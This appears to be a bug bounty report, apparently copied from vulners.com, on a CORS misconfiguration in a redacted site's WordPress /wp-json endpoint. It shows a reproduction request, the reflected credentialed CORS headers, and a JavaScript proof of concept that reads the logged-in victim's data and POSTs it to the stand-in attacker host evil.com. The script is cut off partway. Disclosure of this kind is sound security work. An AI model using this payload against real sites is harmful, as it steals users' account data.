Description: Affected website: https://██████████/wp-json Impact Step-by-step Reproduction : Send this request: javascript GET /wp-json HTTP/1.1 Host: █████████ Connection: close Origin: http://evil.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7 2. Here you can see the response headers: javascript Access-Control-Allow-Origin: http://evil.com Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE Access-Control-Allow-Credentials: true 3. So you can write exploit: javascript <!DOCTYPE html> <html> <body> <center> <h2>CORS PoC</h2> <html> <body> <button type='button' onclick='cors()'>Exploit</button> <p id='demo'></p> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var a = this.responseText; // Sensitive data from niche.co about user account document.getElementById("demo").innerHTML = a; xhttp.open("POST", "http://evil.com", true);// Sending that data to Attacker's website xhttp.withCredentials = true; console.log(a); xhttp.send("data="+a); } }; xhttp.open("GET", "https://██████/wp-json/", true);...
Vollständiger Original-Artikel
Den kompletten Beitrag mit allen Details direkt auf vulners.com lesen.
SOCIAL SHARE CARD GENERATOR